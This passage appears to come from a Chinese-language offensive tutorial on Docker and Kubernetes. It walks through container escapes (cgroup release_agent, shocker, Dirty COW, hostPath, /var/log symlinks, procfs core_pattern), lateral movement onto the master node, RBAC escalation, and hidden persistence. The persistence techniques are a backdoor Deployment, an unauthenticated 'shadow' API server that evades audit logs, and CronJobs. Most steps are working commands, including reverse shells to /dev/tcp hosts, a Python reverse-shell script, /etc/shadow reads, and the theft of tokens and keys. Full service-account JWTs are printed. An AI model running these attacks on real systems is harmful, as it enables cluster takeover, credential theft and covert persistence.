echo "$host_path/cmd" > /tmp/cgrp/release_agent

接下来POC将要执行的shell写到cmd文件里,并赋予执行权限

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

最后POC触发宿主机执行cmd文件中的shell

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的$$表示sh进程的PID,在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行 img

影响范围

Docker 1.0

场景描述

在早期的docker中容器内是默认拥有CAP_DAC_READ_SEARCH的权限的,拥有该Capability权限之后,容器内进程可以使用open_by_handle_at函数对宿主机文件系统暴力扫描,以获取宿主机的目标文件内容,Docker1.0之前对容器能力(Capability)使用黑名单策略管理,并未限制CAP_DAC_READ_SEARCH能力,故而赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生

环境构建
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic

img

./metarget cnv install cap_dac_read_search-container

img 备注:此场景较为简单可以直接使用Docker手动搭建,默认存在漏洞的Docker版本过于久远,但是复现漏洞可以使用任意版本的Docker,只需要在启动Docker时通过–cap-add选项来添加CAP_DAC_READ_SEARCH capability的权限即可

漏洞复现

Step 1:查看容器列表可以发现此时有一个名为cap-dac-read-search-container的带有CAP_DAC_READ_SEARCH权限的容器

docker ps -a | grep cap
docker top 5713dea
getpcaps 51776

img Step 2:下载poc文件并修改shocker.c中.dockerinit文件为 /etc/hosts

#初始文件
// get a FS reference from something mounted in from outside
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
  die("[-] open");

#更改文件
// 由于文件需要和宿主机在同一个挂载的文件系统下,而高版本的.dockerinit已经不在宿主机的文件系统下了
// 但是/etc/resolv.conf,/etc/hostname,/etc/hosts等文件仍然是从宿主机直接挂载的,属于宿主机的文件系统
if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
  die("[-] open");

img Step 3:编译shock.c文件

gcc shocker.c -o shocker

img Step 4:docker cp到容器内运行后成功访问到了宿主机的/etc/shadow文件

#基本格式
docker cp 本地路径 容器ID:容器路径

#使用实例
docker cp /home/ubuntu/shocker 5713dea8ce4b:/tmp/shocker

img img

内核漏洞

内核漏洞由很多都可以利用,例如:

  • CVE-2016-5195:脏牛漏洞逃逸
  • CVE-2017-7308:Linux内核逃逸
  • CVE-2017-1000112:Linux内核逃逸
  • CVE-2021-22555:Linux内核逃逸
  • CVE-2021-31440:Linux eBPF
  • CVE-2022-0185:Linux Kernel Escape

下面仅以脏牛漏洞逃逸为例:

影响范围

Linux kernel 2.x through 4.x before 4.8.3

漏洞描述

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell,需要注意的是Docker与宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里运行

漏洞复现

Step 1:测试环境下载

git clone https://github.com/gebl/dirtycow-docker-vdso.git

Step 2:运行测试容器

cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash

Step 3:进入容器编译POC并执行

cd /dirtycow-vdso/
make
./0xdeadbeef 192.168.172.136:1234

img Step 4:在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell

img 这里留一个常被用于面试的问题给大家思考: 为什么内核漏洞可以导致容器逃逸?基本原理是什么?

危险挂载

HostPath目录挂载

场景描述

由于用户使用较为危险的挂载将物理机的路径挂载到了容器内,从而导致逃逸

具体实现

Step 1:查看当前权限确定该容器具有主机系统的完整权限 img Step 2:发现/host-system从主机系统安装

ls -al
ls /host-system/

img Step 3:获得主机系统权限

chroot /host-system bash
docker ps

img Step 4:访问节点级别Kubernetes的kubelet配置

cat /var/lib/kubelet/kubeconfig

img Step 5:使用kubelet配置执行Kubernetes集群范围的资源

kubectl --kubeconfig /var/lib/kubelet/kubeconfig get all -n kube-system

img

/var/log危险挂载

场景介绍

当Pod以可写权限挂载了宿主机的/var/log目录,而且Pod里的Service Account有权限访问该Pod在宿主机上的日志时,攻击者可以通过在容器内创建符号链接来完成简单逃逸,简单归纳总结如下:

  • 挂载了/var/log
  • 容器在一个K8s的环境中
  • Pod的ServiceAccount拥有get list watch log的权限
原理简介

下图展示了kubectl logs 如何从pod中检索日志

img kubelet会在宿主机上的/var/log目录中创建一个目录结构,如图符号1,代表节点上的pod,但它实际上是一个符号链接,指向/var/lib/docker/containers目录中的容器日志文件,当使用kubectl logs 命令查询指定pod的日志时,实际上是向kubelet的/logs/pods/接口发起HTTP请求,对于该请求的处理逻辑如下</pod-name>

#kubernetes\pkg\kubelet\kubelet.go:1371
if kl.logServer == nil {
        kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
}

kubelet会解析该请求地址去/var/log对应的目录下读取log文件并返回,当pod以可写权限挂载了宿主机上的/var/log目录时,可以在该路径下创建一个符号链接指向宿主机的根目录,然后构造包含该符号链接的恶意kubelet请求,宿主机在解析时会解析该符号链接,导致可以读取宿主机任意文件和目录

环境搭建
#基础环境
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic

#漏洞环境
./metarget cnv install mount-var-log

img 执行完成后,K8s集群内metarget命令空间下将会创建一个名为mount-var-log的pod

img

漏洞复现

Step 1:执行以下命令进入容器

kubectl -n metarget exec -it mount-var-log  /bin/bash

img Step 2:查看文件,Pod内可执行以下两种命令

lsh     等于宿主机上的ls
cath    等于宿主机上的cat

img

img

敏感文件
$ kubectl exec -it escaper bash
➜ root@escaper:~/exploit$ python find_sensitive_files.py
[*] Got access to kubelet /logs endpoint
[+] creating symlink to host root folder inside /var/log

[*] fetching token files from host
[+] extracted hostfile: /var/lib/kubelet/pods/6d67bed2-abe3-11e9-9888-42010a8e020e/volumes/kubernetes.io~secret/metadata-agent-token-xjfh9/token

[*] fetching private key files from host
[+] extracted hostfile: /home/ubuntu/.ssh/private.key
[+] extracted hostfile: /etc/srv/kubernetes/pki/kubelet.key
...

之后会下载对应的敏感文件到以下位置:

#Token Files
/root/exploit/host_files/tokens

#Key Files
/root/exploit/host_files/private_keys
漏洞EXP

https://github.com/danielsagi/kube-pod-escape

img

Procfs目录逃逸类

场景介绍
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件,因此将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时(Docker默认情况下不会为容器开启User Namespace),一般来说我们不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来,procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,从2.6.19内核版本开始Linux支持在/proc/sys/kernel/core_pattern中使用新语法,如果该文件中的首个字符是管道符 ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行
环境搭建

基础环境构建:

./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic

漏洞环境准备:

./metarget cnv install mount-host-procfs

执行完成后K8s集群内metarget命令空间下将会创建一个名为mount-host-procfs的pod,宿主机的procfs在容器内部的挂载路径是/host-proc

漏洞复现

执行以下命令进入容器:

kubectl exec -it -n metarget mount-host-procfs /bin/bash

在容器中首先拿到当前容器在宿主机上的绝对路径:

root@mount-host-procfs:/# cat /proc/mounts | grep docker
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SDXPXVSYNB3RPWJYHAD5RIIIMO:/var/lib/docker/overlay2/l/QJFV62VKQFBRS5T5ZW4SEMZQC6:/var/lib/docker/overlay2/l/SSCMLZUT23WUSPXAOVLGLRRP7W:/var/lib/docker/overlay2/l/IBTHKEVQBPDIYMRIVBSVOE2A6Y:/var/lib/docker/overlay2/l/YYE5TPGYGPOWDNU7KP3JEWWSQM,upperdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/diff,workdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/work 0 0

从workdir可以得到基础路径,结合背景知识可知当前容器在宿主机上的merged目录绝对路径如下:

/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged

向容器内/host-proc/sys/kernel/core_pattern内写入以下内容:

echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore  " > /host-proc/sys/kernel/core_pattern

然后在容器内创建一个反弹shell的/tmp/.x.py:

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "attacker-ip"
lport = 10000
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

chmod +x /tmp/.x.py

最后在容器内运行一个可以崩溃的程序即可,例如:

#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}

容器内若没有编译器,可以先在其他机器上编译好后放入容器中,等完成后在其他机器上开启shell监听:

ncat -lvnp 10000

接着在容器内执行上述编译好的崩溃程序,即可获得反弹shell

0x08 横向渗透

基础知识

污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点,一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点,而通常容忍这个污点的Pod都是系统级别的Pod,例如:kube-system img

基本原理

攻击者在获取到node节点的权限后可以通过kubectl来创建一个能够容忍主节点的污点的Pod,当该Pod被成功创建到Master上之后,攻击者可以通过在子节点上操作该Pod实现对主节点的控制

横向移动

Step 1:Node中查看节点信息

kubectl get nodes

img Step 2:确认Master节点的容忍度

#方式一
kubectl describe nodes master

img

#方式二
kubectl describe node master | grep 'Taints' -A 5

img Step 3:创建带有容忍参数的Pod(必要时可以修改Yaml使Pod增加到特定的Node上去)

apiVersion: v1
kind: Pod
metadata:
  name: control-master-15
spec:
  tolerations:
    - key: node-role.kubernetes.io/master
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-15
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory

img

#创建Pod
kubectl create -f control-master.yaml

#部署情况
kubectl get deploy -o wide

#Pod详情
kubectl get pod -o wide

img Step 4:获得Master控制端

kubectl exec control-master-15 -it bash
chroot /master bash
ls -al
cat /etc/shadow

img

img

扩展技巧

执行以下命令清除污点之后直接执行部署Pod到Master上,之后通过挂载实现逃逸获取Master节点的权限

#清除污点
kubectl taint nodes debian node-role.kubernetes.io/master:NoSchedule-

#查看污点
kubectl describe node master | grep 'Taints' -A 5

0x09 权限提升

K8s中的权限提升可以参考以下CVE链接,这里不再做复现: 1、CVE-2018-1002105:Kubernetes API Server Privileges Escalation: https://goteleport.com/blog/kubernetes-websocket-upgrade-security-vulnerability/ 2、CVE-2019-11247:Kubernetes API Server Privileges Escalation: https://github.com/kubernetes/kubernetes/issues/80983 3、CVE-2020-8559:Kubernetes API Server Privileges Escalation: https://github.com/tdwyer/CVE-2020-8559 下面对Rolebinding权限提升进行一个简单的演示:

基本介绍

K8s使用基于角色的访问控制(RBAC)来进行操作鉴权,允许管理员通过Kubernetes API动态配置策略,某些情况下运维人员为了操作便利,会对普通用户授予cluster-admin的角色,攻击者如果收集到该用户登录凭证后,可直接以最高权限接管K8s集群,少数情况下攻击者可以先获取角色绑定(RoleBinding)权限,并将其他用户添加cluster-admin或其他高权限角色来完成提权

简易实例

Step 1:下载yaml文件

wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml

img Step 2:修改YAML文件 img img Step 3:下载镜像 img Step 4:进行部署操作

#部署操作
kubectl apply -f kubernetes-dashboard.yaml

#删除操作
kubectl delete -f kubernetes-dashboard.yaml

img Step 5:查看pod和service状态

kubectl get pods,svc -n kubernetes-dashboard -o wide

img Step 6:查看所有的pod

kubectl get pods --all-namespaces -o wide

img Step 7:在浏览器中访问,选择用默认用户kubernetes-dashboard的token登陆

img Step 8:查看serviceaccount和secrets

kubectl  get sa,secrets -n kubernetes-dashboard

img Step 9:查看token

kubectl describe secrets kubernetes-dashboard-token-8kxnh -n kubernetes-dashboard

img

eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZC10b2tlbi04a3huaCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6ImMyYTE0NTAzLTc4MzgtNGY3MS1iOTBjLTFhMWJkOTk4NGFiMiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlcm5ldGVzLWRhc2hib2FyZDprdWJlcm5ldGVzLWRhc2hib2FyZCJ9.bQOXikheuY7kL0Dki0mLmyVvGT9cDc4HvdUWXPRywjFPCZNeX6mMurU6pr9LJR25MFwF4Y3ZlnGzHDbrGR-bYRLwDsSvX-qvh0BLCZhQORE2gfd971lCQc7uoyrkf-EJrg26_0C2yGGhZI7JdcRDjrjuHG0aZpQ1vNZYrIWwj5hj9yn7xVI0-dVLbjx8_1kmRXIKw5dk3c_x8aKh-fLSZ-ncpMBf35GGisUHzsdPWup_fqoQKZr4TcEMYc2FcooDQ_mnhBL-WVTbHM9z-LEcebTaCepYR7f-655nRXrDWQe3H524Vvak9aEHI9xK8qHWk1546ka14fMsYTqi3Ra-Tg

Step 10:使用默认用户的token登录 img 之后发现权限略有不足: img Step 11:新建管理员 a、创建serviceaccount

kubectl create serviceaccount admin-myuser -n kubernetes-dashboard

b、绑定集群管理员

kubectl create clusterrolebinding  dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:admin-myuser
kubectl get sa,secrets -n kubernetes-dashboard

img c、查看token

kubectl describe secret admin-myuser-token-jcj9d -n kubernetes-dashboard

img

eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi1teXVzZXItdG9rZW4tamNqOWQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiYWRtaW4tbXl1c2VyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiYjM5MjBlZWEtMzA1NS00ZDQzLWEyMWMtNDk4MDEwM2NhMjhmIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmVybmV0ZXMtZGFzaGJvYXJkOmFkbWluLW15dXNlciJ9.DC1dSWMY46GzOZiSDsQWjO2dNIQ6ZsO_KDDfWjJ74m8ugPoklduiPeLj85n2NI03NKzCpXOaRRUR4LZHHT5KrpKFTsA9uPQyC0Lb3vi-UUZuQ4uhAZrzOxHx82tIcgNBSv-hXvIZytSrgm3RaItH20O3D-3NTEPt00ohD54cq6FyQPBqGi5yseLlTKj4Z2exbCCHxie67ID8ykaNnwcC8Ay1Ccznlvqu8ffdTejrcqFEyGZqHW3NuBxtYGkh_THdZIGHxaeqgLlGb7i2SbOr3IPeQGlf9l-rRKFSIMqvK_0SFBM9BiA0A4lEv26ro2LC4_PxF6o5_QOAz7X0E65hfw

Step 12:登录dashboard

img img 随后可以进行逃逸等操作,具体看上篇,这里不再赘述

0x0a 权限维持

Deployment特性

基本概述

如果创建容器时启用了DaemonSets、Deployments那么便可以使容器和子容器即使被清理掉了也可以恢复,攻击者可利用这个特性实现持久化,相关概念如下: ReplicationController(RC):ReplicationController确保在任何时候都有特定数量的Pod副本处于运行状态 Replication Set(RS):官方推荐使用RS和Deployment来代替RC,实际上RS和RC的功能基本一致,目前唯一的一个区别就是RC只支持基于等式的selector Deployment:主要职责和RC一样,都是保证Pod的数量和健康,二者大部分功能都是完全一致的,可以看成是一个升级版的RC控制器,官方组件kube-dns、kube-proxy也都是使用的Deployment来管理

手动实现

Step 1:创建dep.yaml文件并加入恶意载荷

#dep.yaml
apiVersion: apps/v1
kind: Deployment                #确保在任何时候都有特定数量的Pod副本处于运行状态
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3                   #指定Pod副本数量
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"]       #反弹Shell
        args: ["-c", "bash -i >& /dev/tcp/192.168.17.164/4444 0>&1"]
        securityContext:
          privileged: true      #特权模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

img Step 2:使用kubectl来创建后门Pod

#创建
kubectl create -f dep.yaml

img Step 3:成功反弹shell回来,且为节点的shell img Step 4:查看当前权限发现属于特权模式

cat /proc/self/status | grep CapEff

img Step 6:之后切换至host目录下可以看到成功挂载宿主机目录

cd host
cd home

img Step 7:删除pod

kubectl delete -f dep.yaml

img

工具实现

./cdk run k8s-backdoor-daemonset (default|anonymous|<service-account-token-path>) <image>

Request Options:
default: connect API server with pod's default service account token
anonymous: connect API server with user system:anonymous
<service-account-token-path>: connect API server with user-specified service account token.

Exploit Options:
<image>: your backdoor image (you can upload it to dockerhub before)

img

Shadow API利用

基本概述

Shadow API Server攻击技术由安全研究人员Ian Coldwater在”Advanced Persistence Threats: The Future of Kubernetes Attacks”中首次提出,该攻击手法旨在创建一种针对K8S集群的隐蔽持续控制通道 img Shadow API Server攻击技术的思路是创建一个具有API Server功能的Pod,后续命令通过新的”Shadow API Server”下发,新的API Server创建时可以开放更大权限,并放弃采集审计日志,且不影响原有API-Server功能,日志不会被原有API-Server记录,从而达到隐蔽性和持久控制目的

手动实现

Step 1:首先查看kube-system命名空间下的kube-apiserver信息

kubectl get pods -n kube-system | grep kube-apiserver

img Step 2:查看kube-apiserver-master对应的YAML文件

kubectl get pods -n kube-system kube-apiserver-master -o yaml

img Step 3:复制上述YAML内容并进行如下修改

#更新配置
--allow-privileged=true
--insecure-port=6445
--insecure-bind-address=0.0.0.0
--secure-port=6445
--anonymous-auth=true
--authorization-mode=AlwaysAllow

#删除子项
status
metadata.selfLink
metadata.uid
metadata.annotations
metadata.resourceVersion
metadata.creationTimestamp
spec.tolerations

最终配置文件如下:

apiVersion: v1
kind: Pod
metadata:
  labels:
    component: kube-apiserver-shadow
    tier: control-plane
  name: kube-apiserver-shadow
  namespace: kube-system
  ownerReferences:
  - apiVersion: v1
    controller: true
    kind: Node
    name: master
    uid: a8b24753-c6b2-477e-9884-03784cf52afb
spec:
  containers:
  - command:
    - kube-apiserver
    - --advertise-address=192.168.17.144
    - --allow-privileged=true
    - --anonymous-auth=true
    - --authorization-mode=AlwaysAllow
    - --client-ca-file=/etc/kubernetes/pki/ca.crt
    - --enable-admission-plugins=NodeRestriction
    - --enable-bootstrap-token-auth=true
    - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
    - --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
    - --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
    - --etcd-servers=https://127.0.0.1:2379
    - --insecure-port=9443
    - --insecure-bind-address=0.0.0.0
    - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
    - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key
    - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
    - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt
    - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key
    - --requestheader-allowed-names=front-proxy-client
    - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
    - --requestheader-extra-headers-prefix=X-Remote-Extra-
    - --requestheader-group-headers=X-Remote-Group
    - --requestheader-username-headers=X-Remote-User
    - --secure-port=9444
    - --service-account-key-file=/etc/kubernetes/pki/sa.pub
    - --service-cluster-ip-range=192.96.0.0/12
    - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt
    - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key
    image: registry.aliyuncs.com/google_containers/kube-apiserver:v1.17.4
    imagePullPolicy: IfNotPresent
    livenessProbe:
      failureThreshold: 8
      httpGet:
        host: 192.168.17.144
        path: /healthz
        port: 9443
        scheme: HTTPS
      initialDelaySeconds: 15
      periodSeconds: 10
      successThreshold: 1
      timeoutSeconds: 15
    name: kube-apiserver
    resources:
      requests:
        cpu: 250m
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /etc/ssl/certs
      name: ca-certs
      readOnly: true
    - mountPath: /etc/pki
      name: etc-pki
      readOnly: true
    - mountPath: /etc/kubernetes/pki
      name: k8s-certs
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  hostNetwork: true
  nodeName: master
  priority: 2000000000
  priorityClassName: system-cluster-critical
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  terminationGracePeriodSeconds: 30
  volumes:
  - hostPath:
      path: /etc/ssl/certs
      type: DirectoryOrCreate
    name: ca-certs
  - hostPath:
      path: /etc/pki
      type: DirectoryOrCreate
    name: etc-pki
  - hostPath:
      path: /etc/kubernetes/pki
      type: DirectoryOrCreate
    name: k8s-certs

Step 4:创建一个附加由API Server功能的pod

kubectl create -f api.yaml

img Step 5:端口服务查看 img Step 6:在浏览器中实现未授权访问测试 img Step 7:在命令行中实现未授权访问

kubectl -s http://192.168.17.144:9443 get nodes

img

工具实现

Step 1:在Pod中使用CDK寻找脆弱点

cdk evaluate

img Step 2:发现当前Pod内置Service account具有高权限,接下来使用EXP部署Shadow API Server

cdk run k8s-shadow-apiserver default

img Step 3:部署成功之后,后续渗透操作全部由新的Shadow API Server代理,由于打开了无鉴权端口,任何pod均可直接向Shadow API Server发起请求管理集群 img Step 4:获取K8s的Secrets凭据信息

img

K8s CronJob

基本概述

CronJob用于执行周期性的动作,例如:备份、报告生成等,攻击者可以利用此功能持久化

具体实现

Step 1:创建cron.yaml文件

apiVersion: batch/v1beta1
kind: CronJob                    #使用CronJob对象
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"        #每分钟执行一次
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: alpine
            imagePullPolicy: IfNotPresent
            command:
            - /bin/bash
            - -c
            - #反弹Shell或者下载并执行木马
          restartPolicy: OnFailure

img Step 2:部署pod

kubectl create -f cron.yaml

img Step 3:之后再监听端并未获取到shell img 随后发现未反弹回shell的原因是因为IP网段问题,相关测试如下 Step 1:测试yaml文件

apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            args:
            - /bin/sh
            - -c
            - ifconfig; echo Hello aliang
          restartPolicy: OnFailure

Step 2:部署后查看logs img

工具实现

使用方法:

cdk run k8s-cronjob (default|anonymous|<service-account-token-path>) (min|hour|day|<cron-expr>) <image> <args>

Request Options:
default: connect API server with pod's default service account token
anonymous: connect API server with user system:anonymous
<service-account-token-path>: connect API server with user-specified service account token.

Cron Options:
min: deploy cronjob with schedule "* * * * *"
hour: deploy cronjob with schedule "0 * * * *"
day: deploy cronjob with schedule "0 0 * * *"
<cron-expr>: your custom cron expression

Exploit Options:
<image>: your backdoor image (you can upload it to dockerhub before)
<args>: your custom shell command which will run when container creates

使用实例:

./cdk run k8s-cronjob default min alpine "echo hellow;echo cronjob"

img 执行之后:

img

0x0b 工具推荐

Nebula

Nebula是一个云和DevOps渗透测试框架,它为每个提供者和每个功能构建了模块,截至 2021年4月,它仅涵盖AWS,但目前是一个正在进行的项目,有望继续发展以测试GCP、Azure、Kubernetes、Docker或Ansible、Terraform、Chef等自动化引擎 https://github.com/gl4ssesbo1/Nebula

img

k0otkit

k0otkit是一种通用的后渗透技术,可用于对Kubernetes集群的渗透,攻击者可以使用k0otkit快速、隐蔽和连续的方式(反向shell)操作目标Kubernetes集群中的所有节点,K0otkit使用到的技术主要有以下几个:

  • kube-proxy镜像(就地取材)
  • 动态容器注入(高隐蔽性)
  • Meterpreter(流量加密)
  • 无文件攻击(高隐蔽性)

DaemonSet和Secret资源(快速持续反弹、资源分离) img

CDK Tools

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP,集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式,插件化管理 https://github.com/cdk-team/CDK img

Kubesploit:

Kubesploit是一个功能强大的跨平台后渗透漏洞利用HTTP/2命令&控制服务器和代理工具,基于Merlin项目实现其功能,主要针对的是容器化环境的安全问题 https://github.com/cyberark/kubesploit img

0x0c 参考链接

https://youtu.be/GupI5nUgQ9I https://capsule8.com/blog/practical-container-escape-exercise/ https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/writeup.md#escaping-the-container-and-popping-a-root-shell https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2021-31440 https://man7.org/linux/man-pages/man5/core.5.html https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs